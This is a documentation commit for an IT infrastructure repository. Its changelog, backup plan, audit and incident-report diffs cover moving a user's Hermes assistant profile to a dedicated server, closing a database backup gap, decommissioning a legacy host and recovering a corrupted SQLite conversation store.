docs: incident report for 2026-09-12 Core state.db recovery

- WAL-unlink root cause: interactive root hermes doctor --fix / optimize-storage under a live gateway

- store rebuilt via snapshot -> .recover -> quarantine -> install; 1,902 MB -> 1,108 MB; integrity ok

- live-sync coverage resumed and verified

CHANGELOG.md

@@ -1,5 +1,28 @@
 # itpp-infrastructure — CHANGELOG
 
+## 2026-09-11 — Anita's Hermes Profile Moved to a Dedicated Box (anita-mnz)
+
+- **Infra move:** Anita's assistant profile moved off shared Core (`152.53.241.111`) to a dedicated box **anita-mnz `159.195.16.30`** (netcup, Manassas VA, 8 vCPU / 15 GB / 503 GB). Cutover 15:53 EDT, ~2 minutes dark, **zero messages lost**. She keeps the same Telegram bot and chat.
+- **Why:** repeated `state.db` corruption on Core under co-tenant memory pressure (4th recurrence, `system_prompts` then `sessions` pages). A dedicated box removes the co-tenancy.
+- **Method:** clean staged base + row-tolerant live-tail graft, so the corrupt live file never transferred. Signatures matched exactly: `99283/99283/166244414/157` (messages/maxid/contentbytes/sessions), `integrity_check ok`.
+- **Post-move state:** Core `hermes-gateway-anita.service` stopped and **disabled** (no double-poller risk; standby app1-bu carries no anita unit); target gateway `active`+`enabled`, telegram `connected`, 0 `getUpdates` conflicts.
+- **Backup:** her own box runs the 3 AM root-essentials backup → `s3://hermes-vps-backups/root-backup/anita-mnz/`. Full run tested end-to-end 2026-09-11 15:56 (170 MB, upload + download/extract verify OK).
+- **⚠ Correction to the line above (17:35, same day):** that archive is config only. `root-essentials-backup.sh` excludes `*.db` by design, and nothing on the new box replaced that exclusion, so her conversation store, cron execution DB, notepad, wisdom and verification DBs had **zero** backup coverage. Fixed the same evening — details below.
+- **Core change:** `hermes-live-sync` no longer snapshots the frozen `profiles/anita` copy (it would advertise a stale db as "live").
+- **MCP servers:** stripped from her profile (decision 2026-09-11: "She doesn't need access to those"). The `mcp_servers` block (`dre`, `osint-person`, `super-search` → `127.0.0.1:8900/8902/8899`) was removed from `anita/config.yaml`, which is why her log had been retry-parking those three every ~5 minutes since the move. Backed up first as `config.yaml.bak-mcpstrip-*`; 13 top-level keys verified intact. Takes effect on her next gateway restart.
+- **Retired / order cancelled:** Nuremberg `89.58.44.96` (`v2202609377162518632.nicesrv.de`). **Correction to how this was first written here:** it does not "hold nothing". It holds a bare default-profile Hermes install: no `state.db`, empty `sessions/` and `cron/`, no systemd user units, no gateway process (only node_exporter, containerd, sshd). No unique data, so nothing needs preserving before cancellation. Recorded in `/root/.hermes/references/decommissioned-hosts.json`.
+- **Monitoring fix:** `health-master-watchdog.py` watch-listed `hermes-gateway-anita.service` as a LOCAL user unit on Core, so it would have alerted forever once that unit was disabled. Local check removed; `anita-mnz` (`159.195.16.30`) added to `REMOTE_SERVERS` and a new `REMOTE_USER_UNITS` remote user-unit check added (SSH + `XDG_RUNTIME_DIR`). Verified live: no false alert for her gateway, and her box answers as active.
+- **Docs:** full incident + pitfalls in `/root/.hermes/references/dr-issue-log.md`; transferable procedure in the `hermes-migration` skill.
+- **Backup coverage gap (found 17:20, fixed 17:35):** the nightly archive on her box was green and 170 MB, but a restore test showed it contains no `.db` file at all. `root-essentials-backup.sh` excludes `*.db` (correct — never `tar` a live SQLite file), which on Core is backstopped by `hermes-backup.sh`. The migrated box got the script set without the backstop. **Silent failure mode**: every indicator said "backed up" while her 974 MB store had no copy anywhere except the frozen Core dir being deleted.
+- **Fix:** new `hermes-db-backup.sh` on `anita-mnz` (`/root/hermes-db-backup.sh`, chmod 750), cron `10 3 * * *`. Per-DB `sqlite3 .backup` (safe on a live DB), `PRAGMA quick_check` on every snapshot before it is accepted, one dated tarball, upload to `s3://hermes-vps-backups/root-backup/anita-mnz/db/`, then **downloads the object back, extracts and re-verifies**. 14-day retention.
+- **Verified:** first run 17:04 EDT, 291 MB uploaded; restore test passed — extracted, `quick_check=ok`, 99,285 messages.
+- **Migration completeness proven before deleting the Core copy:** `memories/MEMORY.md`, `memories/USER.md` and `.env` are md5-identical between the frozen Core copy and `anita-mnz`; `cron/jobs.json` holds the same six job IDs; skills 125 on MNZ vs 124 frozen; store 99,285 vs 99,283 messages. `config.yaml` differs only by the deliberate MCP strip.
+- **Incident report written:** `docs/incidents/2026-09-11-core-state-db-corruption.md` documents the store corruption (header destroyed at 12:49:22), the recovery that built a new store from the clean 01:00 archive and grafted 985 newer messages into it (108,573 messages, max id 322,530, 242 sessions, `quick_check` and `integrity_check` both `ok`), the eight day backup monitor false positive streak, and the prevention list (prune the store, snapshot instead of tar, restore-test every archive, integrity check the newest snapshot, record who restarts the gateway).
+- **Frozen Core copy removed (17:41):** `/root/.hermes/profiles/anita` (8.0 GB) was 7.9 GB of corrupt-DB corpses (`corrupt-20260903/09/10`, `pre-rebuild-20260910`, `recovered-20260910`). Archived to `s3://hermes-vps-backups/decommissioned/anita-core-frozen-profile-20260911-1732.tar.gz` (2,786,082,561 B, 21,206 entries), **verified by downloading the object back and matching sha256** `b457fa7f0cb6f546f36e53a338e90b7b940f51cf29d5a73d0cceb97f49c9b3dc` against the local tarball, then deleted. Nothing unique was destroyed: memories, `.env` and the six cron job IDs were identical on `anita-mnz`, which carries one more skill and two more messages. Core disk 125 GB → 117 GB used; `/root/.hermes/profiles` is now empty. Also removes that copy from Core's nightly archive, which is why Core's backup had grown to 2.97 GB.
+- **Stale S3 copy purged (17:41):** `s3://hermes-vps-backups/live/profiles/anita/` held 20,551 objects / 5.0 GB that the then-running 15-minute sync had pushed before it was paused on Sep 3, including a stale-looking `state.db` that would have been advertised as "live". Superseded by the archive above and removed; `live/profiles/` is now empty.
+- **Backup monitor checked (17:38):** its single CRITICAL was `hermes-live-sync: DISABLED/PAUSED`, which is the pause from Sep 3 and explains the monitor's 8-day exit-1 streak (it exits 1 only on CRITICAL, never on warnings). Its three WARNINGs are false positives, verified by content rather than size: Wazuh manager tarballs are sha256-identical for 3 days (static config, job ran 03:15 today), LiteLLM's flagged object is a 333 B config yaml that never changes (the real backup is a 37.9 MB `litellm-backup-*.tar.gz` from 03:30 today, and there are 47 of them), and the voipsimplicity dump is the same 6,834,636 B each day but a **different** sha256 each day (valid gzip, 73 tables). The size-uniqueness heuristic cannot tell static-but-fine from stalled; the three entries should be reclassified as "unchanged content" rather than SUSPICIOUS.
+- **Same-day correction on job status:** "Germaine inbox watch" is `enabled=false` on `anita-mnz`. It was `enabled=false` in the frozen Core copy too — the migration did not disable it.
+
 ## 2026-08-17 - Scirium v2 Proposal Deployed to /scirium/
 
 - **v2 proposal deployed** to `proposals.itpropartner.com/scirium/` (index.html + 04-business-proposal-v2.md + critical-review.html). Assembled from 4 parallel remediation teams (marketing, technical, financial, legal), SOM reconciled with Financial as authority, build cost corrected to ~$167K (was $68K), verdict: GO with conditions (churn gate, acquisition-maturation gate, trademark clearance, Phase 0 DLP spike). Status: DRAFT FOR REVIEW pending Germaine review before VerdictTank resubmission.

README.md

@@ -88,9 +88,11 @@
 ### Legacy / Decommissioned
 - **old-ai:** 178.156.167.181 (Hetzner CPX41) — **decommissioned** (LiteLLM migrated to app1)
 - **old app1:** 87.99.144.163 (Hetzner CPX11) — **deleted**
-- **wphost02:** 5.161.62.38 (Hetzner CPX21) — **migrated to app3**
+- **wphost02:** 5.161.62.38 (Hetzner CPX21) — **DECOMMISSIONED (2026-08-28)** — deleted from Hetzner account; sites migrated to app3
 - **Ollama:** Removed from Core (systemd) and app1 (Docker) Jul 17
 
+> **Hetzner Cloud (current):** As of 2026-08-28, the Hetzner Cloud API returns exactly **one** server — **app1-bu / core-bu** (`5.161.225.131`, CPX21, warm standby for Core). All other Hetzner boxes (old-ai, wphost02) are decommissioned/deleted.
+
 ---
 
 ## Model Fallback Chain
@@ -171,7 +173,7 @@ Direct API keys for all providers. Claude Sonnet 5 for primary quality, then dir
 | app1-backup | Daily 2 AM | s3://hermes-vps-backups/app1/ | LiteLLM, n8n, OpenWebUI, MCP configs |
 | app2-backup | Daily 2:30 AM | s3://hermes-vps-backups/app2/ | Traccar, Gitea, Hudu, UNMS, UniFi |
 | app3-backup | Daily 3 AM | s3://hermes-vps-backups/app3/ | CloudPanel, MySQL, WordPress |
-| wphost02-backup | Daily 5 AM | s3://hermes-vps-backups/wphost02-backup/ | Webapps + MySQL |
+| ~~wphost02-backup~~ | ~~Daily 5 AM~~ | ~~s3://hermes-vps-backups/wphost02-backup/~~ | **REMOVED — wphost02 decommissioned 2026-08-28** |
 | warm-standby-sync | Every 10 min | core-bu ← S3 | DR readiness |
 
 ---

api-master-list.md

@@ -100,7 +100,7 @@
 | SyncroMSP | SyncroMSP | RMM/PSA, client asset management |
 | Bitdefender GravityZone | Bitdefender | Endpoint security, client AV |
 | Cloudflare | Cloudflare | DNS zones, domains, records |
-| Hetzner Cloud | Hetzner | app1-bu standby server, wphost02 |
+| Hetzner Cloud | Hetzner | app1-bu standby server (sole online Hetzner box as of 2026-08-28; wphost02 decommissioned) |
 | netcup | netcup | Core/app1/app2/app3 servers |
 | Wasabi S3 | Wasabi | All backups (hermes-vps-backups bucket, app backups) |
 | Firecrawl | Firecrawl | Web extraction (Super Search fallback) |

audit/phase-one/findings/sys-a.md

@@ -184,7 +184,7 @@ digraph Core {
  prometheus -> node_exporter; prometheus -> telegraf; prometheus -> mikrotik_exporter; prometheus -> snmp;
 
  // Cross-host tunnel
- mysql_tunnel -> "wphost02 MySQL (152.53.62.38)";
+ mysql_tunnel -> "wphost02 MySQL (5.161.62.38, decommissioned 2026-08-28)";
 }
 ```
 
@@ -217,7 +217,7 @@ digraph app1 {
 - LiteLLM is the AI backbone: Open WebUI, all mcp-* tool servers, and Super Search (via MCP) route through it. admin-ai.itpropartner.com is the model gateway for every AI consumer.
 - Hermes gateway has a wide fan-out (8+ MCP/tool servers, browserless, camofox, Chrome CDP). Its failure cascades into all agent tooling.
 - Cross-host dependency: app1 super-search depends on Core searxng (port 8888) over the WAN. If Core is down, app1 search is degraded.
-- mysql-tunnel (Core) depends on wphost02 (152.53.62.38) reachability; a host key change breaks it silently.
+- mysql-tunnel (Core) depends on wphost02 (5.161.62.38, decommissioned 2026-08-28) reachability; a host key change breaks it silently.
 - HotNow is the only app with a real DB dependency chain (Postgres + Redis) on Core.
 
 ---
@@ -235,7 +235,7 @@ digraph app1 {
 | 03:00 daily | docker-volume-sync.sh | root | **script does not exist** (F-13) | always fails silently |
 | 00:05 daily | system-config-sync.sh | root | system configs to Wasabi | config drift backups lost |
 | 15:00 daily | status-page-refresh.sh | root | status page data | stale status |
-| various | wphost02-backup.sh | root | SSHes to 152.53.62.38 (wphost02) with root key | wphost02 backups lost |
+| various | wphost02-backup.sh | root | SSHes to 5.161.62.38 (wphost02, decommissioned 2026-08-28) with root key | wphost02 backups lost |
 | various | docuseal/timetrex/gitea/hudu/dawarich/ragflow/twenty/stack-auth/hexclave/komodo/litellm/technitium/unifi/unms/vaultwarden-backup.sh | root | per-service backups (many target remote hosts) | per-service backup loss |
 
 Hermes-managed jobs live in /root/.hermes/cron/jobs.json (jobs.json + per-job dirs). Parsing jobs.json programmatically failed during the audit (malformed JSON); a grep fallback confirmed the job list above. The exact schedule set should be re-verified by the DR owner.

audit/phase-one/findings/sys-b.md

@@ -1,7 +1,7 @@
 # Sys-B Findings - ITPP Phase One Infrastructure Audit (Read-Only)
 
 **Auditor:** Sys-B (sysadmin inventory auditor)
-**Scope:** app2 (152.53.39.202), app3 (152.53.241.111), app1-bu (5.161.225.131), wphost02 (5.161.62.38)
+**Scope:** app2 (152.53.39.202), app3 (152.53.241.111), app1-bu (5.161.225.131), wphost02 (5.161.62.38, decommissioned 2026-08-28)
 **Date:** 2026-08-13
 **Method:** Read-only SSH (`ssh -i /root/.ssh/itpp-infra`, BatchMode, ConnectTimeout=10). No mutation performed. All remediation is deferred to Phase Two.
 
@@ -14,7 +14,7 @@
 | app2 | 152.53.39.202 | Docker app host | REACHABLE |
 | app3 | 152.53.241.111 | CloudPanel web host | REACHABLE |
 | app1-bu | 5.161.225.131 | Warm standby (Core failover) | REACHABLE |
-| wphost02 | 5.161.62.38 | Legacy WordPress / RunCloud | REACHABLE (NOT decommissioned) |
+| wphost02 | 5.161.62.38 | Legacy WordPress / RunCloud | DECOMMISSIONED 2026-08-28 |
 
 No access limitations. All four hosts answered over SSH with the shared key.
 
@@ -228,9 +228,9 @@ No other system or user cron jobs beyond `/etc/cron.d` defaults.
 
 ---
 
-## 5. wphost02 (5.161.62.38) - Legacy WordPress / RunCloud (STILL LIVE)
+## 5. wphost02 (5.161.62.38) - Legacy WordPress / RunCloud (DECOMMISSIONED 2026-08-28)
 
-**OS:** Ubuntu 24.04.4, up 34d. 3.7 GiB RAM / 3 CPU / 75G disk (**82% full** - 59G used). RunCloud-managed LEMP stack. NOT decommissioned.
+**OS:** Ubuntu 24.04.4, up 34d. 3.7 GiB RAM / 3 CPU / 75G disk (**82% full** - 59G used). RunCloud-managed LEMP stack. Decommissioned 2026-08-28 (all 8 WordPress sites migrated to app3).
 
 ### 5.1 Services
 

backup-plan.md

@@ -1,6 +1,6 @@
 # ITPP Backup Plan
 
-> **Last updated:** 2026-08-08
+> **Last updated:** 2026-09-11
 > **Scope:** All ITPP infrastructure backups — Hermes core, application servers, routers, and external services.
 > **Storage:** Wasabi S3 (us-east-1) via `--endpoint-url https://s3.us-east-1.wasabisys.com`
 > **Cron backend:** Hybrid — system crontab + Hermes cron jobs (both on Core)
@@ -63,11 +63,16 @@
 | Hexclave (Stack Auth) | `hexclave-backup.sh` — PG dump + compose + env | `s3://hermes-vps-backups/app3/hexclave/` | 3:30 AM | 2026-08-08 |
 | modelortho.com | `modelortho-backup.sh` — htdocs tar.gz + nginx configs | `s3://hermes-vps-backups/app3/modelortho/` | 4:30 AM | 2026-08-08 |
 
-### wphost02 (5.161.62.38) — Hetzner CPX21
+### wphost02 (5.161.62.38) — Hetzner CPX21 — **DECOMMISSIONED (2026-08-28)**
+
+wphost02 was deleted from the Hetzner account on 2026-08-28. Its backup job has been removed; sites now live on app3 (covered under the App3 backup section above).
+
+### anita-mnz (159.195.16.30) - netcup (Anita's dedicated box, cut over 2026-09-11)
 
 | Service | Method | Destination | Schedule | Last Verified |
 |---------|--------|-------------|----------|---------------|
-| WordPress (7 sites) | `ssh → /root/backup.sh` — per-site tar.gz + all DBs | `s3://hermes-vps-backups/wphost02-backup/` | 5:00 AM | 2026-07-28 |
+| /root Essentials | `root-essentials-backup.sh` - dotfiles, profile, keys, scripts (**excludes `*.db` by design**) | `s3://hermes-vps-backups/root-backup/anita-mnz/` | 3:00 AM | 2026-09-11 |
+| Hermes Profile DBs | `hermes-db-backup.sh` - `sqlite3 .backup` snapshots of state.db + cron + wisdom + notepad + verification DBs, `quick_check` per snapshot, upload then download-and-verify | `s3://hermes-vps-backups/root-backup/anita-mnz/db/` | 3:10 AM | 2026-09-11 (restore test passed: quick_check ok, 99,285 messages) |
 
 ### Home Router
 
@@ -94,6 +99,8 @@
 | 2:30 AM | Vaultwarden (App1) + Traccar (App2) | Hermes cron / crontab | `vaultwarden-backup.sh`, `app2-backup.sh` |
 | 2:45 AM | Technitium DNS (App2) | Hermes cron | `technitium-backup.sh` |
 | 3:00 AM | /root essentials + App3 (CloudPanel, MySQL, WP, Nginx) | crontab | `root-essentials-backup.sh`, `app3-backup.sh` |
+| 3:00 AM | **anita-mnz** /root essentials | Anita crontab | `root-essentials-backup.sh` |
+| 3:10 AM | **anita-mnz** Hermes profile DB snapshots | Anita crontab | `hermes-db-backup.sh` |
 | 3:15 AM | Auth API (Core) | Hermes cron | `auth-api-backup.sh` |
 | 3:30 AM | Hexclave / Stack Auth (App3) + LiteLLM (App1) | Hermes cron / crontab | `hexclave-backup.sh`, `litellm-backup.sh` |
 | 3:45 AM | Komodo (App1) | crontab | `komodo-backup.sh` |
@@ -101,7 +108,6 @@
 | 4:00 AM | DocuSeal (App1) | Hermes cron | `docuseal-backup.sh` |
 | 4:15 AM | **RAGFlow (App2)** | Hermes cron | `ragflow-backup.sh` |
 | 4:15 AM | Twenty CRM (App1) | Hermes cron | `twenty-backup.sh` |
-| 5:00 AM | wphost02 WordPress (SSH) | crontab | `wphost02-backup` |
 | 6:00 AM | MikroTik CCR + UNMS sync | Hermes cron | `run-wisp-backup.sh`, `unms-backup-sync.sh` |
 | 1 AM / 1 PM | WordPress per-site snapshots (App3, local) | App3 crontab | `/opt/backup-restore/snapshot.sh` |
 | 7:00 AM | Hudu (App2) | Hermes cron | `hudu-backup.sh` |
@@ -133,7 +139,6 @@
 | `hexclave-backup.sh` | Stack Auth PG dump + compose + env (SSH to App3) | Hermes cron 3:30 AM |
 | `dawarich-backup.sh` | Dawarich PostgreSQL dump + compose + env (SSH to App2) | Hermes cron 4:00 AM |
 | `ragflow-backup.sh` | RAGFlow MySQL dump + compose + env (SSH to App2) | Hermes cron 4:15 AM |
-| `wphost02-backup.sh` | SSH to wphost02, backup all sites | crontab 5:00 AM |
 | `run-wisp-backup.sh` | MikroTik CCR config export | Hermes cron 6:00 AM |
 | `unms-backup-sync.sh` | UNMS auto-backup sync to S3 | Hermes cron 6:00 AM |
 | `unifi-backup-sync.sh` | UniFi auto-backup sync to S3 | Hermes cron 2:00 AM |
@@ -147,11 +152,12 @@
 |--------|---------|------|
 | `snapshot.sh` | Per-site WordPress tarball + DB | App3 crontab 6 AM / 6 PM |
 
-### On wphost02 (`/root/`)
+### On anita-mnz (`/root/`)
 
 | Script | Purpose | Runs |
 |--------|---------|------|
-| `backup.sh` | All 7 WordPress sites + all MySQL DBs | Triggered via SSH from Core |
+| `root-essentials-backup.sh` | /root essentials (profile, keys, scripts, configs) | crontab 3:00 AM |
+| `hermes-db-backup.sh` | `sqlite3 .backup` snapshots of Hermes profile DBs + per-snapshot quick_check + restore test | crontab 3:10 AM |
 
 ---
 
@@ -161,8 +167,11 @@
 hermes-vps-backups/
 ├── hermes-full-backup/     — Full Hermes daily (tar.gz)
 ├── live/                   — Hermes live sync (every 15 min)
+├── decommissioned/         — archived copies of decommissioned systems (profile archives)
 ├── live-sync/              — Old sync format (deprecated)
-├── root-backup/            — /root essentials
+├── root-backup/            — /root essentials (Core uses the flat legacy prefix)
+│   └── <host>/             — per-host prefix (`anita-mnz`, ...)
+│       └── db/             — SQLite `.backup` snapshots (`hermes-db-backup.sh`)
 ├── standby/                — Standby configs + recovery bundle
 ├── core/
 │   ├── grafana/            — Grafana SQLite DB
@@ -192,7 +201,6 @@ hermes-vps-backups/
 ├── gitea/daily/            — Gitea repos + DB
 ├── unms-backups/live/      — UNMS auto-backups
 ├── unifi-backups/          — UniFi controller backups
-├── wphost02-backup/        — wphost02 per-site + DB
 ├── volumes/                — Docker volume dumps
 ├── caddy/                  — (unused)
 ├── assets/                 — Static assets
@@ -233,12 +241,27 @@ These paths contain data from services that migrated off Core (Jul 28, 2026) or
 | `core/komodo/` | Stale 11 days | **Safe to delete** — Komodo migrated to App1; new backups at `app1/komodo/` |
 | `caddy/` | Unused | **Safe to delete** — Never populated |
 | `snapshots/` | Unused | **Safe to delete** — Never populated |
+| `live/profiles/anita/` | Purged 2026-09-11 | **Deleted** — 20,551 objects / 5.0 GB of the frozen Core copy of Anita's profile, pushed by the 15-minute sync before it was paused Sep 3. Superseded by `decommissioned/anita-core-frozen-profile-20260911-1732.tar.gz` |
 
 ## Unbacked Services
 
 These services are running in production with **zero backup coverage**:
 | Unbacked | *(none)* | N/A | N/A | All services are backed up as of 2026-08-08 |
 
+**Done 2026-09-11 (Anita migration closeout).** The frozen Core copy `/root/.hermes/profiles/anita` (8.0 GB, excluded from live sync after the 15:53 cutover) was archived to
+`s3://hermes-vps-backups/decommissioned/anita-core-frozen-profile-20260911-1732.tar.gz` — 2,786,082,561 B, sha256 `b457fa7f…b3dc`, 21,206 entries — then deleted, reclaiming 8 GB (125 GB → 117 GB used).
+The archive was proven by downloading the object back and matching the sha256 against the local tarball **before** anything was removed. The 8 GB was almost entirely quarantine
+artifacts from the Sep 3/9/10 SQLite corruption events (`corrupt-20260903/09/10`, `pre-rebuild-20260910`, `recovered-20260910`); the live profile had already been proven migrated
+(memories, `.env` and the six cron job IDs identical on the new box, which carries one more skill and two more messages).
+
+**Gap found and closed 2026-09-11 (anita-mnz):** `root-essentials-backup.sh` correctly excludes `*.db` so it never archives a
+live SQLite file, but nothing replaced it, so after the box was provisioned Anita's conversation store (974 MB), the cron
+execution DB, notepad, wisdom and verification DBs had **zero** backup coverage. Core has `hermes-backup.sh` doing this job;
+the migrated box had no equivalent. `hermes-db-backup.sh` (3:10 AM) now snapshots each DB with the sqlite3 `.backup` API,
+quick_checks every snapshot, uploads one dated tarball, then downloads it back and verifies the restored store. Verified
+2026-09-11 17:04: restore test passed, `quick_check=ok`, 99,285 messages. Any box migrated with this script set needs the
+same check, because the `*.db` exclusion is silent.
+
 > **6 previously-unbacked services now backed up (Auth API, Technitium DNS, Dawarich, RAGFlow, Stack Auth/Hexclave, app3 static sites).** The earlier count of "14" was an error — no source document supports that number. The actual delta since July 28 is 6.
 
 ---
@@ -266,4 +289,4 @@ All the following services were migrated from Core to App1 in a single session:
   - Auto-restores from `s3://hermes-vps-backups/hermes-full-backup/`
   - Provider diversity: netcup outage won't kill both Core and standby
 - **Recovery priority:** Hermes first → infrastructure monitoring (Uptime Kuma, Grafana) → App1 services → App2 services
-- **24 backup scripts** on Core, 1 on App3, 1 on wphost02
+- **Backup scripts:** 24 scripts on Core, 1 on App3 (wphost02 DECOMMISSIONED 2026-08-28; its backup script and S3 path were removed)

docs/audit/app3-site-publish-audit-2026-09-12.md

@@ -0,0 +1,69 @@
+# app3 Site Publish Audit - 2026-09-12
+
+**Purpose.** Precondition gate for the 2026-09-12 S3 backup-mirror cleanup. User directive:
+"leave 815bistro alone. that's a live client site that should be on app3 with all of the other
+websites. Make sure that all of the sites on app3 are currently published before deleting anything."
+
+**Method.** Domain list derived from app3 docroots (`/home/*/htdocs/*/` on 152.53.241.111), 34 unique
+domains. For each: `dig +short <d> A` for DNS, then `curl -L --max-redirs 5 -w '%{http_code}|%{url_effective}'`
+against `https://<d>/`. Script: `/root/.hermes/scripts/audit-app3-sites.sh`. Raw evidence: `/tmp/app3-audit-final.txt`.
+
+**Result: 34 tested, 28 published (HTTP 200), 6 not.**
+
+## Not published / defective
+
+| Domain | DNS | HTTP | Final URL | Verdict |
+|---|---|---|---|---|
+| boxpilotlogistics.com | 188.114.96.3, .97.3 (Cloudflare) | 301 | https://www.boxpilotlogistics.com/ | BROKEN - apex/www redirect loop, never reaches a served page |
+| vigilanttac.com | 104.21.83.95, 172.67.220.243 (Cloudflare) | 301 | https://www.vigilanttac.com/ | BROKEN - apex/www redirect loop, never reaches a served page |
+| voipsimplicity.com | NO-DNS-RECORD | 000 | - | BROKEN - no DNS at all; site dark |
+| www.voipsimplicity.com | NO-DNS-RECORD | 000 | - | BROKEN - no DNS at all |
+| timapta.org | 188.114.96.4, .97.4 (Cloudflare) | 301 | https://ptatime.org/ | BROKEN FORWARD - ptatime.org itself has no DNS records |
+| forms.itpropartner.com | 152.53.241.111 (app3) | 404 | https://forms.itpropartner.com/ | NOT A DEFECT - POST-only API, see below |
+| iamgmb.com | 188.114.97.3, .96.3 (Cloudflare) | 200 | https://www.google.com/ | Suspicious - public domain 301s to google.com (decommissioned Aug 9 2026) |
+
+### Details
+
+- **boxpilotlogistics.com / vigilanttac.com.** Both are WordPress installs on app3 fronted by
+  Cloudflare (301 carries `x-redirect-by: WordPress`). Apex 301s to `www`, and `www` 301s back to apex;
+  after 5 redirects curl is still on a 301 and never receives a body. Browsers surface
+  "this page isn't redirecting properly". Both client sites are effectively down.
+- **voipsimplicity.com + www.** Zero A records, yet the full WordPress install exists on app3 at
+  `/home/voipsimplicity/htdocs/voipsimplicity.com/` and `/home/voipsimplicity/htdocs/www/`.
+  `my.voipsimplicity.com` (Cloudflare) is up and returns 200. The marketing site is unreachable.
+- **timapta.org.** Correctly 301s per the TIMA forwarding setup, but the target `ptatime.org` has no
+  DNS records, so the forward dead-ends. Verified: `dig +short ptatime.org` is empty.
+- **forms.itpropartner.com.** `msp-forms.service` (MSP Shared Form Handler, FastAPI) is `active (running)`
+  since 2026-08-21, listening on 127.0.0.1:8700 (uvicorn pid 1498), nginx fronts it on 443. GET / returns
+  `{"detail":"Not Found"}` - the expected FastAPI 404 for a POST-only handler. No action needed.
+- **iamgmb.com.** Returns 200 but the final URL is `https://www.google.com/`. The domain was decommissioned
+  2026-08-09; a redirect to Google is not a normal retirement. Needs an owner decision (park, 410, or
+  forward to itpropartner.com).
+
+## 815bistro.com - NOT on app3
+
+User directive is to leave it alone because it "should be on app3 with all of the other websites."
+**It is not on app3 and never was migrated.** There is no `815bistro` docroot among the 34 app3 sites,
+and both the apex and `www` resolve to **35.212.86.161**, the SiteGround box (SiteGround runs on GCP,
+so the IP reverse-resolves into `*.bc.googleusercontent.com`). The site itself is live (200) on SiteGround.
+
+Consequence for the cleanup: the only 815bistro artifact in our possession is the export at
+`/root/.hermes/.backups/siteground/815bistro.com/` (261 MB). It was explicitly removed from the delete list
+and explicitly removed from the sync-exclude list so it keeps mirroring. **This site still needs migrating
+to app3.**
+
+## Published (28)
+
+apextrackexperience.com, buzz.iamgmb.com, debtrecoveryexperts.com, docs.itpropartner.com,
+my.verdicttank.com, verdicttank.com, auth2-api.itpropartner.com, auth2.itpropartner.com, intelsight.io,
+mockups.itpropartner.com, proposals.itpropartner.com, support.itpropartner.com, katiewattsdesign.com,
+mainwp.itpropartner.com, modelortho.com, www.modelortho.com, my.voipsimplicity.com, panel.itpropartner.com,
+my.radartank.com, my.rfptank.com, radartank.com, review.watchdogcitizen.com, rfptank.com,
+watchdogcitizen.com, scirium.com, my.transitpin.com, transitpin.com, iamgmb.com (200, but to google.com).
+
+## Cleanup impact
+
+Nothing deleted on 2026-09-12 touched app3 site content. Deletion targets were stale Hermes/UNMS backup
+mirrors in `s3://hermes-vps-backups/live/.backups/` plus stale data on the standby. Held back:
+`.backups/siteground/` (815bistro) and `.backups/wphost02-backup-2026-07-10.tar.gz` (fallback data for the
+8 WordPress sites migrated to app3 - held until boxpilotlogistics.com and vigilanttac.com are verified healthy).

docs/incidents/2026-09-11-core-state-db-corruption.md

@@ -0,0 +1,117 @@
+# Incident: Core Hermes Store Corruption (not-a-database) and Recovery
+
+**Date:** September 11, 2026
+**Severity:** High. Core's agent lost its conversation store mid-day, which disabled `session_search`, `delegate_task`, and every cron job that reads history.
+**Status:** Recovered. Repair staged and verified, installed the same evening.
+**Root cause:** The SQLite store was written while it was being checkpointed, so the file header was destroyed. The store stopped being a database at all.
+**Amplifier:** A 1.9 GB store that had never been pruned, failing three times in three days, with backups that faithfully captured the corruption because they tarred the live file.
+
+> Ground truth for this report was re-verified at 17:45 EDT on September 11, 2026. Numbers below are from the live box, not from a summary.
+
+---
+
+## 1. What happened
+
+At 12:49:22 EDT the default profile store `/root/.hermes/state.db` took its last write. Five seconds later the gateway restarted and found the store unreadable. Every tool that depends on history began failing with `file is not a database`:
+
+```
+session_search -> {"success": false, "error": "Session database not available: DatabaseError: file is not a database."}
+delegate_task  -> Error executing tool: ... file is not a database
+```
+
+The file is 1,984,344,064 bytes. Its first bytes are **not** `SQLite format 3`, so SQLite rejects it before reading a single page. It is not a marginally damaged database, it is a file that no longer has a database header.
+
+## 2. Impact
+
+- **Capability loss:** `session_search` and `delegate_task` were down for the rest of the day. Delegation is a load-bearing part of how this box operates.
+- **Cron surface:** any job reading history was at risk. The daily backup monitor kept failing for eight days, though that turned out to be a separate, already identified cause (section 6).
+- **Data loss window:** 11:49 to 12:49 EDT. No readable copy of that hour exists anywhere. Anything learned in that window is only recoverable from durable artifacts (DR issue log, CHANGELOG, skills).
+- **Backup lineage contamination:** the Sep 10 and Sep 11 archives captured the live, corrupt file. A restore from the newest archive would have restored the corruption. This is the single most dangerous detail in the incident.
+
+## 3. Timeline (all times EDT)
+
+| When | Event |
+|---|---|
+| Sep 9 | WAL damage appears in the live store. First corruption event. |
+| Sep 10 12:18 | A backup is written that is already malformed. |
+| Sep 10 12:20 | A repair attempt fails. |
+| Sep 10 14:48 | A corrupt copy is preserved (`state.db.corrupt-20260910`). |
+| Sep 9 to 11 | Daily archives grow 1.76 GB to 2.34 GB to 3.52 GB. The growth is the unpruned store plus quarantine artifacts. |
+| Sep 11 01:00 | Nightly archive taken. This copy turns out to be clean: 1,939,980,288 B, `quick_check ok`, 107,588 messages, max id 321,545. |
+| Sep 11 11:49 | A snapshot is taken that is valid SQLite (1.96 GB) but has one bad page. It carries roughly 985 messages the 01:00 archive does not. |
+| Sep 11 12:49:22 | Last write to the live store. |
+| Sep 11 12:49:27 | Gateway restarts and cannot open the store. |
+| Sep 11 16:33 | Grafted candidate built and verified (`state.working.db`). |
+| Sep 11 16:51 | Install path hardened (`chmod +x`, explicit `/bin/bash`, dry run passed). |
+| Sep 11 18:56 | Repair scheduled to install via detached root crontab one shot. |
+
+## 4. Root cause
+
+**Proximate cause:** a write that overlapped WAL checkpointing during the 12:49 shutdown. The store's header was overwritten, leaving an 1.85 GiB file with no valid database header. There is no evidence of filesystem damage; other files on the same volume are intact and the disk reports no errors.
+
+**What it was NOT, checked and excluded:**
+- **Not OOM.** The box had headroom. At the time of this report Core runs 15 GB total with 4 GB used and 11 GB available, 366 GB free disk.
+- **Not a cron job touching the database.** No scheduled job writes to `state.db` directly. The 15 minute `hermes-live-sync` job uses `.backup` snapshots and excludes live files, and it had been paused since Sep 3.
+- **Not a bad restore.** Nothing replaced the store on Sep 11 before the 12:49 failure.
+
+**What is still unknown, and stays unknown until proven:** which process requested the 12:49 gateway restart. The store was written and then the gateway came back and found it broken, and the caller was not recorded anywhere durable. That gap is itself a finding (section 7, item 5).
+
